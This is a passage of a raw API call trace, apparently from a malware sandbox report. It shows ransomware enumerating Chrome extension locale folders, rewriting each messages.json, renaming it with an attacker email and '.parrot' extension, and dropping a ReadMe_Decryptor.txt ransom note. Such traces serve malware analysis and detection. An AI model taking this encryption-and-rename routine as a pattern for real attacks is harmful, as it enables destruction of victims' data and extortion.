dwFlags=0x0, lpMem=0x69a438 | out: hHeap=0x5b0000) returned 1 [0070.539] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x248, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.539] CloseHandle (hObject=0x28c) returned 1 [0070.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0070.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x69a250 [0070.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0070.540] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67ba00 | out: hHeap=0x5b0000) returned 1 [0070.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1a8 | out: hHeap=0x5b0000) returned 1 [0070.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5da060 [0070.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5da188 [0070.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0070.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0070.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0070.543] GetFileType (hFile=0x28c) returned 0x1 [0070.543] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0070.553] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.553] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78658a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78658a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.553] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84116f00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb78658a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.553] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0070.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0070.553] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.554] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84120b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.554] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.554] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.554] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84120b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.554] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0070.554] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.554] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.554] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.554] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.555] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.555] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd5, lpOverlapped=0x0) returned 1 [0070.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0070.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0070.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0070.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0070.556] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.556] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.556] CloseHandle (hObject=0x28c) returned 1 [0070.556] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_gb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67bb88 | out: hHeap=0x5b0000) returned 1 [0070.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.558] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.558] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8411bd20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb788ba00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb788ba00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.558] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84120b40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84120b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb788ba00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.558] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.558] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.558] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8412ce90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.558] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.558] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.558] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8412ce90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.560] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.560] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.560] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.561] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.561] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd5, lpOverlapped=0x0) returned 1 [0070.561] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.562] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.562] CloseHandle (hObject=0x28c) returned 1 [0070.562] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67bb88 | out: hHeap=0x5b0000) returned 1 [0070.563] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.564] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.564] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8412a780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78b1b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78b1b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.564] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8412ce90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8412ce90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb78b1b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.564] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.564] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.565] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841343c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.565] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.565] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.565] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841343c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.565] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fd, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.565] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.565] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.566] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.566] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe5, lpOverlapped=0x0) returned 1 [0070.566] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.566] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.566] CloseHandle (hObject=0x28c) returned 1 [0070.567] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da238 | out: hHeap=0x5b0000) returned 1 [0070.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67bb88 | out: hHeap=0x5b0000) returned 1 [0070.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.568] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.568] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84131cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78b1b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78b1b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.569] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841343c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841343c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb78b1b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.569] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.569] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.569] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8413b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.569] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.569] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.569] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8413b8f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.571] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fd, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.571] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.571] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.572] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.572] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe5, lpOverlapped=0x0) returned 1 [0070.572] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.572] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.572] CloseHandle (hObject=0x28c) returned 1 [0070.573] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 